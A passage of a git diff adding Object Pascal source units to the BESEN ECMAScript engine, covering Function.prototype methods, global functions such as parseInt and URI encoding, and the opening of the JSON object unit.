Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); override; + function HasCall:TBESENBoolean; override; + procedure NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeApply(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeCall(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeBind(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENGlobals,BESENStringUtils,BESENErrors,BESENObjectDeclaredFunction, + BESENObjectThrowTypeErrorFunction,BESENObjectArgGetterFunction, + BESENObjectArgSetterFunction,BESENObjectBindingFunction; + +constructor TBESENObjectFunctionPrototype.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + ObjectClassName:='Function'; + ObjectName:='prototype'; + + OverwriteData('length',BESENNumberValue(0),[]); + if (TBESEN(Instance).Compatibility and COMPAT_JS)<>0 then begin + OverwriteData('name',BESENStringValue(ObjectName),[]); + end; +end; + +destructor TBESENObjectFunctionPrototype.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectFunctionPrototype.Call(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var AResult:TBESENValue); +begin + AResult:=BESENUndefinedValue; +end; + +function TBESENObjectFunctionPrototype.HasCall:TBESENBoolean; +begin + result:=true; +end; + +procedure TBESENObjectFunctionPrototype.NativeToString(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var ThisArgumentObj:TObject; +begin + ThisArgumentObj:=ThisArgument.Obj; + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(ThisArgumentObj)) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if assigned(ThisArgumentObj) and (ThisArgumentObj is TBESENObjectDeclaredFunction) then begin + if assigned(TBESENObjectDeclaredFunction(ThisArgumentObj).Node) then begin + ResultValue:=BESENStringValue(BESENUTF8ToUTF16(TBESEN(Instance).Decompile(TBESENObjectDeclaredFunction(ThisArgumentObj).Node))); + end else begin + ResultValue:=BESENStringValue('function () {'#10'}'#10); + end; + end else if assigned(ThisArgumentObj) and (ThisArgumentObj is TBESENObjectNativeFunction) then begin + ResultValue:=BESENStringValue('function () {'#10#9'[native code]'#10'}'#10); + end else if assigned(ThisArgumentObj) and (ThisArgumentObj is TBESENObjectThrowTypeErrorFunction) then begin + ResultValue:=BESENStringValue('function () {'#10#9'[native code, ThrowTypeError]'#10'}'#10); + end else if assigned(ThisArgumentObj) and (ThisArgumentObj is TBESENObjectArgGetterFunction) then begin + ResultValue:=BESENStringValue('function () {'#10#9'[native code, ArgGetter]'#10'}'#10); + end else if assigned(ThisArgumentObj) and (ThisArgumentObj is TBESENObjectArgSetterFunction) then begin + ResultValue:=BESENStringValue('function () {'#10#9'[native code, ArgSetter]'#10'}'#10); + end else if assigned(ThisArgumentObj) and (ThisArgumentObj is TBESENObjectBindingFunction) then begin + ResultValue:=BESENStringValue('function () {'#10#9'[native code, Binding]'#10'}'#10); + end else if assigned(ThisArgumentObj) and (ThisArgumentObj is TBESENObjectFunction) then begin + ResultValue:=BESENStringValue('function () {'#10'}'#10); + end else begin + raise EBESENTypeError.Create('Not a function object'); + end; +end; + +procedure TBESENObjectFunctionPrototype.NativeApply(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var CallThisArg:TBESENValue; + v2,v3:TBESENValue; + vArgs:TBESENValues; + pArgs:TBESENValuePointers; + i,j:integer; +begin + // ES5 errata fix + vArgs:=nil; + pArgs:=nil; + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(ThisArgument.Obj)) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if not TBESENObject(ThisArgument.Obj).HasCall then begin + raise EBESENTypeError.Create('No callable'); + end; + v2:=BESENEmptyValue; + v3:=BESENEmptyValue; + try + if CountArguments<1 then begin + CallThisArg:=BESENUndefinedValue; + end else begin + BESENCopyValue(CallThisArg,Arguments^[0]^); + if (CountArguments>1) and not (Arguments^[1]^.ValueType in [bvtUNDEFINED,bvtNULL]) then begin + TBESEN(Instance).ToObjectValue(Arguments^[1]^,v2); + if (v2.ValueType=bvtOBJECT) and assigned(v2.Obj) then begin + TBESENObject(v2.Obj).GarbageCollectorLock; + end; + TBESENObject(v2.Obj).Get('length',v3,TBESENObject(v2.Obj),BESENLengthHash); + j:=TBESEN(Instance).ToUInt32(v3); + SetLength(vArgs,j); + SetLength(pArgs,j); + for i:=0 to j-1 do begin + TBESENObject(v2.Obj).Get(inttostr(i),vArgs[i]); + pArgs[i]:=@vArgs[i]; + end; + end; + end; + TBESEN(Instance).ObjectCall(TBESENObject(ThisArgument.Obj),CallThisArg,@pArgs[0],length(pArgs),ResultValue); + finally + if (v2.ValueType=bvtOBJECT) and assigned(v2.Obj) then begin + TBESENObject(v2.Obj).GarbageCollectorUnlock; + end; + SetLength(vArgs,0); + SetLength(pArgs,0); + end; +end; + +procedure TBESENObjectFunctionPrototype.NativeCall(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var CallThisArg:TBESENValue; + pArgs:TBESENValuePointers; + i:integer; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(ThisArgument.Obj)) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if not TBESENObject(ThisArgument.Obj).HasCall then begin + raise EBESENTypeError.Create('No callable'); + end; + pArgs:=nil; + try + if CountArguments<1 then begin + CallThisArg:=BESENUndefinedValue; + end else begin + BESENCopyValue(CallThisArg,Arguments^[0]^); + if CountArguments>1 then begin + SetLength(pArgs,CountArguments-1); + for i:=0 to length(pArgs)-1 do begin + pArgs[i]:=Arguments[i+1]; + end; + end; + end; + TBESEN(Instance).ObjectCall(TBESENObject(ThisArgument.Obj),CallThisArg,@pArgs[0],length(pArgs),ResultValue); + finally + SetLength(pArgs,0); + end; +end; + +procedure TBESENObjectFunctionPrototype.NativeBind(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var o:TBESENObjectBindingFunction; + i:integer; + v:TBESENValue; +begin + if not ((ThisArgument.ValueType=bvtOBJECT) and assigned(ThisArgument.Obj)) then begin + raise EBESENTypeError.Create('Null this object'); + end; + if not TBESENObject(ThisArgument.Obj).HasCall then begin + raise EBESENTypeError.Create('Bad arg'); + end; + o:=TBESENObjectBindingFunction.Create(Instance,TBESEN(Instance).ObjectFunctionPrototype,false); + TBESEN(Instance).GarbageCollector.Add(o); + o.GarbageCollectorLock; + try + o.TargetFunction:=TBESENObject(ThisArgument.Obj); + if CountArguments>0 then begin + BESENCopyValue(o.BoundThis,Arguments^[0]^); + end else begin + o.BoundThis.ValueType:=bvtUNDEFINED; + end; + if CountArguments>1 then begin + SetLength(o.BoundArguments,CountArguments-1); + for i:=1 to CountArguments-1 do begin + BESENCopyValue(o.BoundArguments[i-1],Arguments^[i]^); + end; + end else begin + SetLength(o.BoundArguments,0); + end; + if o.TargetFunction is TBESENObjectFunction then begin + TBESENObjectFunction(o.TargetFunction).Get('length',v,o.TargetFunction,BESENLengthHash); + o.OverwriteData('length',BESENNumberValue(max(0,TBESEN(Instance).ToInt(v)-length(o.BoundArguments))),[]); + end else begin + o.OverwriteData('length',BESENNumberValue(0),[]); + end; + o.Extensible:=true; + o.OverwriteAccessor('caller',TBESEN(Instance).ObjectThrowTypeErrorFunction,TBESEN(Instance).ObjectThrowTypeErrorFunction,[],false); + o.OverwriteAccessor('arguments',TBESEN(Instance).ObjectThrowTypeErrorFunction,TBESEN(Instance).ObjectThrowTypeErrorFunction,[],false); + finally + o.GarbageCollectorUnlock; + end; + ResultValue:=BESENObjectValue(o); +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENObjectGlobal.pas b/Core/JS/BESENObjectGlobal.pas new file mode 100644 index 0000000..7fe59d6 --- /dev/null +++ b/Core/JS/BESENObjectGlobal.pas @@ -0,0 +1,516 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectGlobal; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor,BESENCharSet; + +type TBESENObjectGlobal=class(TBESENObject) + private + function Encode(const s:TBESENString;const NotToEscapeChars:TBESENCharBitmap):TBESENString; + function Decode(const s:TBESENString;const ReservedChars:TBESENCharBitmap):TBESENString; + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeEval(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeParseInt(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeParseFloat(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeIsNaN(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeIsFinite(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeDecodeURI(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeDecodeURIComponent(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeEncodeURI(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeEncodeURIComponent(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeEscape(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeUnescape(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeCompatability(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENNumberUtils,BESENStringUtils,BESENErrors; + +const BESENCompatibilityModes:TBESENCompatibilityModes=( + (Name:'utf8_unsafe';Flag:COMPAT_UTF8_UNSAFE), + (Name:'sgmlcom';Flag:COMPAT_SGMLCOM), + (Name:'besen';Flag:COMPAT_BESEN), + (Name:'js';Flag:COMPAT_JS)); + +constructor TBESENObjectGlobal.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +var v:TBESENValue; +begin + inherited Create(AInstance,APrototype,AHasPrototypeProperty); + + v:=BESENEmptyValue; + + v:=BESENNumberValue(double(pointer(@BESENDoubleNaN)^)); + OverwriteData('NaN',v,[]); + + v:=BESENNumberValue(double(pointer(@BESENDoubleInfPos)^)); + OverwriteData('Infinity',v,[]); + + v:=BESENUndefinedValue; + OverwriteData('undefined',v,[]); + + RegisterNativeFunction('eval',NativeEval,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('parseInt',NativeParseInt,2,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('parseFloat',NativeParseFloat,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('isNaN',NativeIsNaN,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('isFinite',NativeIsFinite,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('decodeURI',NativeDecodeURI,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('decodeURIComponent',NativeDecodeURIComponent,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('encodeURI',NativeEncodeURI,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('encodeURIComponent',NativeEncodeURIComponent,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + + RegisterNativeFunction('escape',NativeEscape,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('unescape',NativeUnescape,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + + if (TBESEN(Instance).Compatibility and COMPAT_BESEN)<>0 then begin + RegisterNativeFunction('compat',NativeCompatability,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + RegisterNativeFunction('compatability',NativeCompatability,1,[bopaWRITABLE,bopaCONFIGURABLE],false); + end; +end; + +destructor TBESENObjectGlobal.Destroy; +begin + inherited Destroy; +end; + +procedure TBESENObjectGlobal.NativeEval(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue:=BESENUndefinedValue; +end; + +procedure TBESENObjectGlobal.NativeParseInt(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var s:TBESENString; + i,StartPos,UntilPos,r,c:integer; + Negative:boolean; +begin + ResultValue.ValueType:=bvtNUMBER; + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + if CountArguments>0 then begin + if CountArguments>1 then begin + r:=TBESEN(Instance).ToInt(Arguments^[1]^); + end else begin + r:=0; + end; + if (r<>0) and ((r<2) or (r>36)) then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + exit; + end; + s:=TBESEN(Instance).ToStr(Arguments^[0]^); + i:=1; + while (i<=length(s)) and (BESENUnicodeIsStringWhiteSpace(word(widechar(s[i])))) do begin + inc(i); + end; + if (i<=length(s)) and ((s[i]='-') or (s[i]='+')) then begin + Negative:=s[i]='-'; + inc(i); + end else begin + Negative:=false; + end; + if (r in [0,16]) and ((i+1)<=length(s)) and (s[i]='0') and ((s[i+1]='x') or (s[i+1]='X')) then begin + r:=16; + inc(i,2); + end else if (((TBESEN(Instance).Compatibility and COMPAT_JS)<>0) and not TBESEN(Instance).IsStrict) and ((r=0) and ((i<=length(s)) and (s[i]='0'))) then begin + r:=8; + inc(i); + end; + if r=0 then begin + r:=10; + end; + StartPos:=i; + UntilPos:=i; + while UntilPos<=length(s) do begin + c:=word(widechar(s[UntilPos])); + case c of + ord('0')..ord('9'):begin + c:=c-ord('0'); + end; + ord('a')..ord('z'):begin + c:=(c+10)-ord('a'); + end; + ord('A')..ord('Z'):begin + c:=(c+10)-ord('A'); + end; + else begin + break; + end; + end; + if c>=r then begin + break; + end; + inc(UntilPos); + end; + if StartPos>=UntilPos then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + exit; + end; + i:=UntilPos-StartPos; + if r=10 then begin + ResultValue.Num:=BESENStringToNumber(copy(s,StartPos,UntilPos-StartPos),false,false); + end else begin + ResultValue.Num:=BESENStringToNumberBase(copy(s,StartPos,UntilPos-StartPos),r); + end; + if Negative and not BESENIsNaN(ResultValue.Num) then begin + PBESENDoubleHiLo(@ResultValue.Num)^.Hi:=PBESENDoubleHiLo(@ResultValue.Num)^.Hi or $80000000; + end; + end; +end; + +procedure TBESENObjectGlobal.NativeParseFloat(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtNUMBER; + if CountArguments=0 then begin + ResultValue.Num:=TBESENNumber(pointer(@BESENDoubleNaN)^); + end else begin + ResultValue.Num:=BESENStringToNumber(TBESEN(Instance).ToStr(Arguments^[0]^),false,false); + end; +end; + +procedure TBESENObjectGlobal.NativeIsNaN(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtBOOLEAN; + if CountArguments=0 then begin + ResultValue.Bool:=true; + end else begin + ResultValue.Bool:=BESENIsNaN(TBESEN(Instance).ToNum(Arguments^[0]^)); + end; +end; + +procedure TBESENObjectGlobal.NativeIsFinite(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +begin + ResultValue.ValueType:=bvtBOOLEAN; + if CountArguments=0 then begin + ResultValue.Bool:=false; + end else begin + ResultValue.Bool:=BESENIsFinite(TBESEN(Instance).ToNum(Arguments^[0]^)); + end; +end; + +function TBESENObjectGlobal.Encode(const s:TBESENString;const NotToEscapeChars:TBESENCharBitmap):TBESENString; +var i:integer; + c:TBESENUTF32CHAR; + r:TBESENString; + procedure DoEscape(v:longword); + begin + r:=r+'%'+BESENHexChars[false,(v shr 4) and $f]+BESENHexChars[false,v and $f]; + end; +begin + r:=''; + i:=1; + while i<=length(s) do begin + c:=word(widechar(s[i])); + if (c and $fc00)=$dc00 then begin + raise EBESENURIError.Create('Bad UTF16 string'); + end else if (c and $fc00)=$d800 then begin + if ((i+1)<=length(s)) and ((word(widechar(s[i+1])) and $fc00)=$dc00) then begin + c:=(((c and $3ff) shl 10) or (word(widechar(s[i+1])) and $3ff))+$10000; + inc(i,2); + end else begin + raise EBESENURIError.Create('Bad UTF16 string'); + end; + end else begin + inc(i); + end; + if c<=$7f then begin + if (NotToEscapeChars[(c and $7f) shr 3] and (1 shl (c and 7)))<>0 then begin + r:=r+widechar(word(c)); + end else begin + DoEscape(c); + end; + end else if c<=$7ff then begin + DoEscape($c0 or (c shr 6)); + DoEscape($80 or (c and $3f)); + end else if c<=$ffff then begin + DoEscape($e0 or (c shr 12)); + DoEscape($80 or ((c shr 6) and $3f)); + DoEscape($80 or (c and $3f)); + end else if c<=$1fffff then begin + DoEscape($f0 or (c shr 18)); + DoEscape($80 or ((c shr 12) and $3f)); + DoEscape($80 or ((c shr 6) and $3f)); + DoEscape($80 or (c and $3f)); + end else begin + raise EBESENURIError.Create('Bad UTF16 string'); + end; + end; + result:=r; +end; + +function TBESENObjectGlobal.Decode(const s:TBESENString;const ReservedChars:TBESENCharBitmap):TBESENString; +const UTF8Mask:array[0..5] of byte=($c0,$e0,$f0,$f8,$fc,$fe); +var i,j,k,h:integer; + c,ac:TBESENUTF32CHAR; +begin + result:=''; + i:=1; + while i<=length(s) do begin + j:=i; + c:=word(widechar(s[i])); + if (c and $fc00)=$dc00 then begin + raise EBESENURIError.Create('Bad UTF16 string'); + end else if (c and $fc00)=$d800 then begin + if ((i+1)<=length(s)) and ((word(widechar(s[i+1])) and $fc00)=$dc00) then begin + c:=(((c and $3ff) shl 10) or (word(widechar(s[i+1])) and $3ff))+$10000; + inc(i,2); + end else begin + raise EBESENURIError.Create('Bad UTF16 string'); + end; + end else begin + inc(i); + end; + if c=ord('%') then begin + if ((i+1)<=length(s)) and (BESENIsHex(word(widechar(s[i]))) and BESENIsHex(word(widechar(s[i+1])))) then begin + c:=(BESENHexValues[word(widechar(s[i]))] shl 4) or BESENHexValues[word(widechar(s[i+1]))]; + end else begin + raise EBESENURIError.Create('Bad URI hex'); + end; + inc(i,2); + if (c and $80)<>0 then begin + k:=1; + while k<6 do begin + if (c and UTF8Mask[k])=UTF8Mask[k-1] then begin + break; + end; + inc(k); + end; + if k>=6 then begin + raise EBESENURIError.Create('Bad UTF8'); + end; + c:=c and not UTF8Mask[k]; + for h:=1 to k do begin + if ((i+2)<=length(s)) and ((s[i]='%') and (BESENIsHex(word(widechar(s[i+1]))) and BESENIsHex(word(widechar(s[i+2]))))) then begin + ac:=(BESENHexValues[word(widechar(s[i+1]))] shl 4) or BESENHexValues[word(widechar(s[i+2]))]; + end else begin + raise EBESENURIError.Create('Bad URI hex'); + end; + inc(i,3); + if (ac and not $3f)<>$80 then begin + raise EBESENURIError.Create('Bad UTF8'); + end; + c:=(C shl 6) or (ac and $3f); + end; + end; + end; + if c<=$ffff then begin + if (c<=$7f) and ((ReservedChars[(c and $7f) shr 3] and (1 shl (c and 7)))<>0) then begin + result:=result+copy(s,j,(i-j)+1); + end else begin + result:=result+widechar(word(c)); + end; + end else if c<=$10ffff then begin + dec(c,$100000); + result:=result+widechar(word($d800 or ((c shr 10) and $3ff)))+widechar(word($dc00 or (c and $3ff))); + end else begin + raise EBESENURIError.Create('Bad unicode'); + end; + end; +end; + +procedure TBESENObjectGlobal.NativeDecodeURI(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +const CharBitmap:TBESENCharBitmap=($00,$00,$00,$00,$58,$98,$00,$ac,$01,$00,$00,$00,$00,$00,$00,$00); // [;/?:@&=+$,#] +begin + if CountArguments=0 then begin + ResultValue:=BESENStringValue('undefined'); + end else begin + ResultValue:=BESENStringValue(Decode(TBESEN(Instance).ToStr(Arguments^[0]^),CharBitmap)); + end; +end; + +procedure TBESENObjectGlobal.NativeDecodeURIComponent(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +const CharBitmap:TBESENCharBitmap=($00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00,$00); // [] +begin + if CountArguments=0 then begin + ResultValue:=BESENStringValue('undefined'); + end else begin + ResultValue:=BESENStringValue(Decode(TBESEN(Instance).ToStr(Arguments^[0]^),CharBitmap)); + end; +end; + +procedure TBESENObjectGlobal.NativeEncodeURI(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +const CharBitmap:TBESENCharBitmap=($00,$00,$00,$00,$da,$ff,$ff,$af,$ff,$ff,$ff,$87,$fe,$ff,$ff,$47); // [-_.!~*'();/?:@&=+$,#a-zA-Z0-9] +begin + if CountArguments=0 then begin + ResultValue:=BESENStringValue('undefined'); + end else begin + ResultValue:=BESENStringValue(Encode(TBESEN(Instance).ToStr(Arguments^[0]^),CharBitmap)); + end; +end; + +procedure TBESENObjectGlobal.NativeEncodeURIComponent(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +const CharBitmap:TBESENCharBitmap=($00,$00,$00,$00,$82,$67,$ff,$03,$fe,$ff,$ff,$87,$fe,$ff,$ff,$47); // [-_.!~*'()a-zA-Z0-9] +begin + if CountArguments=0 then begin + ResultValue:=BESENStringValue('undefined'); + end else begin + ResultValue:=BESENStringValue(Encode(TBESEN(Instance).ToStr(Arguments^[0]^),CharBitmap)); + end; +end; + +procedure TBESENObjectGlobal.NativeEscape(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +const NotToEscapeChars:TBESENCharBitmap=($00,$00,$00,$00,$00,$ec,$ff,$03,$ff,$ff,$ff,$87,$fe,$ff,$ff,$07); // [A-Za-z0-9@*_+\-./] +var s,ss:TBESENString; + i:integer; + c:word; + HexUppercase:boolean; +begin + if CountArguments=0 then begin + ResultValue:=BESENStringValue('undefined'); + end else begin + HexUppercase:=(TBESEN(Instance).Compatibility and COMPAT_JS)<>0; + s:=TBESEN(Instance).ToStr(Arguments^[0]^); + ss:=''; + for i:=1 to length(s) do begin + c:=word(widechar(s[i])); + if (c<$80) and ((NotToEscapeChars[c shr 3] and (1 shl (c and 7)))<>0) then begin + ss:=ss+widechar(c); + end else if c<$100 then begin + ss:=ss+'%'+BESENHexChars[HexUppercase,(c shr 4) and $f]+BESENHexChars[HexUppercase,c and $f]; + end else begin + ss:=ss+'%u'+BESENHexChars[HexUppercase,(c shr 12) and $f]+BESENHexChars[HexUppercase,(c shr 8) and $f]+BESENHexChars[HexUppercase,(c shr 4) and $f]+BESENHexChars[HexUppercase,c and $f]; + end; + end; + ResultValue:=BESENStringValue(ss); + end; +end; + +procedure TBESENObjectGlobal.NativeUnescape(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); +var s,ss:TBESENString; + i:integer; + c:word; +begin + if CountArguments=0 then begin + ResultValue:=BESENStringValue('undefined'); + end else begin + s:=TBESEN(Instance).ToStr(Arguments^[0]^); + ss:=''; + i:=1; + while i<=length(s) do begin + c:=word(widechar(s[i])); + if c=ord('%') then begin + inc(i); + if ((i+4)<=length(s)) and (s[i]='u') then begin + ss:=ss+widechar(word((BESENHexValues[word(widechar(s[i+1]))] shl 12) or (BESENHexValues[word(widechar(s[i+2]))] shl 8) or (BESENHexValues[word(widechar(s[i+3]))] shl 4) or BESENHexValues[word(widechar(s[i+4]))])); + inc(i,5); + end else if (i+1)<=length(s) then begin + ss:=ss+widechar(word((BESENHexValues[word(widechar(s[i]))] shl 4) or BESENHexValues[word(widechar(s[i+1]))])); + inc(i,2); + end else begin + ss:=ss+widechar(c); + inc(i); + end; + end else begin + ss:=ss+widechar(c); + inc(i); + end; + end; + ResultValue:=BESENStringValue(ss); + end; +end; + +procedure TBESENObjectGlobal.NativeCompatability(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure ParseCompatibility(s:TBESENString); + var No:boolean; + i:integer; + begin + s:=BESENLowercase(s); + if copy(s,1,3)='no_' then begin + System.delete(s,1,3); + No:=true; + end else if copy(s,1,4)='not_' then begin + System.delete(s,1,4); + No:=true; + end else if copy(s,1,1)='-' then begin + System.delete(s,1,1); + No:=true; + end else if copy(s,1,1)='!' then begin + System.delete(s,1,1); + No:=true; + end else if copy(s,1,1)='~' then begin + System.delete(s,1,1); + No:=true; + end else begin + No:=false; + end; + for i:=low(TBESENCompatibilityModes) to high(TBESENCompatibilityModes) do begin + if s=BESENCompatibilityModes[i].Name then begin + if No then begin + TBESEN(Instance).Compatibility:=TBESEN(Instance).Compatibility and not BESENCompatibilityModes[i].Flag; + end else begin + TBESEN(Instance).Compatibility:=TBESEN(Instance).Compatibility or BESENCompatibilityModes[i].Flag; + end; + break; + end; + end; + end; +var i:integer; + s,ps:TBESENString; +begin + s:=''; + for i:=0 to CountArguments-1 do begin + if length(s)>0 then begin + s:=s+' '; + end; + s:=TBESEN(Instance).ToStr(Arguments^[i]^); + end; + ps:=''; + for i:=1 to length(s) do begin + if BESENUnicodeIsStringWhiteSpace(word(widechar(s[i]))) then begin + if length(ps)>0 then begin + ParseCompatibility(ps); + ps:=''; + end; + end else begin + ps:=ps+s[i]; + end; + end; + if length(ps)>0 then begin + ParseCompatibility(ps); + ps:=''; + end; + s:=''; + for i:=low(TBESENCompatibilityModes) to high(TBESENCompatibilityModes) do begin + if (TBESEN(Instance).Compatibility and BESENCompatibilityModes[i].Flag)<>0 then begin + if length(s)>0 then begin + s:=s+' '; + end; + s:=s+BESENCompatibilityModes[i].Name; + end; + end; + ResultValue.ValueType:=bvtSTRING; + ResultValue.Str:=s; +end; + +end. + \ No newline at end of file diff --git a/Core/JS/BESENObjectJSON.pas b/Core/JS/BESENObjectJSON.pas new file mode 100644 index 0000000..223b282 --- /dev/null +++ b/Core/JS/BESENObjectJSON.pas @@ -0,0 +1,439 @@ +(******************************************************************************* + L I C E N S E +******************************************************************************** + +BESEN - A ECMAScript Fifth Edition Object Pascal Implementation +Copyright (C) 2009-2016, Benjamin 'BeRo' Rosseaux + +The source code of the BESEN ecmascript engine library and helper tools are +distributed under the Library GNU Lesser General Public License Version 2.1 +(see the file copying.txt) with the following modification: + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent modules, +and to copy and distribute the resulting executable under terms of your choice, +provided that you also meet, for each linked independent module, the terms +and conditions of the license of that module. An independent module is a module +which is not derived from or based on this library. If you modify this +library, you may extend this exception to your version of the library, but you +are not obligated to do so. If you do not wish to do so, delete this exception +statement from your version. + +If you didn't receive a copy of the license, see <http://www.gnu.org/licenses/> +or contact: + Free Software Foundation + 675 Mass Ave + Cambridge, MA 02139 + USA + +*******************************************************************************) +unit BESENObjectJSON; +{$i BESEN.inc} + +interface + +uses Math,BESENConstants,BESENTypes,BESENObject,BESENValue,BESENObjectPropertyDescriptor; + +type TBESENObjectJSON=class(TBESENObject) + public + constructor Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); overload; override; + destructor Destroy; override; + procedure NativeParse(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + procedure NativeStringify(const ThisArgument:TBESENValue;Arguments:PPBESENValues;CountArguments:integer;var ResultValue:TBESENValue); + end; + +implementation + +uses BESEN,BESENGlobals,BESENUtils,BESENArrayUtils,BESENStringUtils,BESENPointerList, + BESENStringTree,BESENNumberUtils,BESENErrors,BESENObjectBoolean,BESENObjectNumber, + BESENObjectString,BESENObjectArray; + +constructor TBESENObjectJSON.Create(AInstance:TObject;APrototype:TBESENObject=nil;AHasPrototypeProperty:longbool=false); +begin + 